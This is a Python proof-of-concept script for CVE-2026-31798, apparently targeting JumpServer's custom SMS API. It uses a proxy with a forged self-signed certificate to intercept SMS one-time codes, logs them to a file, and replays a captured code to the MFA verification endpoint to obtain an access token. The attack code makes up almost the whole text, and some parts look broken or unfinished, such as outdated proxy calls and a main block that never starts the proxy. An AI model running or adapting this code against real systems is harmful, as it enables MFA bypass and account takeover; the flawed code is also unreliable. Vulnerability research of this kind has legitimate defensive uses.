# CVE-2026-31798 PoC - JumpServer Custom SMS API Certificate Validation Bypass
# This PoC demonstrates the MITM attack on JumpServer SMS OTP verification
import requests
import ssl
import socket
from mitmproxy import proxy, options
from mitmproxy.proxy.server import ProxyServer
import re
import threading
import time
class JumpServerSMSInterceptor:
def __init__(self, target_host, target_port=443):
self.target_host = target_host
self.target_port = target_port
self.captured_otp = None
def setup_mitmproxy(self, listen_port=8080):
"""Setup MITM proxy to intercept SMS OTP traffic"""
opts = options.Options(listen_host='0.0.0.0', listen_port=listen_port)
opts.add_option("ssl_insecure", bool, True) # Allow self-signed certs
config = proxy.ProxyConfig(
certs={'*.jumpserver.com': self.generate_self_signed_cert()}
)
return ProxyServer(opts)
def handle_request(self, flow):
"""Intercept and capture OTP codes from SMS API requests"""
# Check if this is a JumpServer SMS API request
if 'sms' in flow.request.url.lower() or 'otp' in flow.request.url.lower():
print(f"[+] Intercepted SMS API Request: {flow.request.url}")
# Extract OTP code from request body/headers
request_body = flow.request.text
headers = dict(flow.request.headers)
# Regex patterns to extract OTP codes
otp_patterns = [
r'\b(\d{4,8})\b', # 4-8 digit codes
r'"code"\s*:\s*"(\d+)"',
r'"otp"\s*:\s*"(\d+)"',
r'"token"\s*:\s*"(\d+)"',
]
for pattern in otp_patterns:
match = re.search(pattern, request_body)
if match:
self.captured_otp = match.group(1)
print(f"[!] OTP Code Captured: {self.captured_otp}")
print(f"[!] Timestamp: {time.strftime('%Y-%m-%d %H:%M:%S')}")
# Save captured OTP
self.save_captured_otp(flow, self.captured_otp)
break
def save_captured_otp(self, flow, otp):
"""Save captured OTP to file for later use"""
with open('captured_otps.txt', 'a') as f:
f.write(f"OTP: {otp} | URL: {flow.request.url} | Time: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
def generate_self_signed_cert(self):
"""Generate self-signed certificate for MITM"""
from OpenSSL import crypto
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 2048)
cert = crypto.X509()
cert.get_subject().C = "US"
cert.get_subject().O = "JumpServer"
cert.get_subject().OU = "Security"
cert.set_serial_number(1000)
cert.gmtime_adj_notBefore(0)
cert.gmtime_adj_notAfter(365*24*60*60)
cert.set_issuer(cert.get_subject())
cert.set_pubkey(key)
cert.sign(key, 'sha256')
return cert, key
def exploit_otp(otp_code, target_url, session_cookie):
"""
Use captured OTP to bypass MFA authentication
"""
headers = {
'Cookie': session_cookie,
'Content-Type': 'application/json'
}
payload = {
'otp_code': otp_code,
'action': 'verify_mfa'
}
try:
response = requests.post(
f"{target_url}/api/v1/authentication/mfa/verify/",
json=payload,
headers=headers,
verify=False,
timeout=10
)
if response.status_code == 200 and 'token' in response.text:
print(f"[!] MFA Bypass Successful!")
print(f"[!] Access Token: {response.json().get('token')}")
return True
else:
print(f"[-] MFA Verification Failed")
return False
except Exception as e:
print(f"[-] Error during OTP verification: {e}")
return False
if __name__ == "__main__":
print("="*60)
print("CVE-2026-31798 PoC - JumpServer SMS API MITM Attack")
print("="*60)
print("\n[!] Warning: This PoC is for educational and authorized testing only")
print("[!] Unauthorized access to computer systems is illegal\n")
# Configuration
TARGET_HOST = "victim.jumpserver.com"
PROXY_PORT = 8080
# Start MITM proxy
interceptor = JumpServerSMSInterceptor(TARGET_HOST)
print(f"[*] Starting MITM proxy on port {PROXY_PORT}...")
print(f"[*] Configure browser to use proxy {PROXY_PORT}")
print("[*] Waiting for OTP requests...")
# Note: Full implementation requires mitmproxy library
# This PoC demonstrates the attack methodology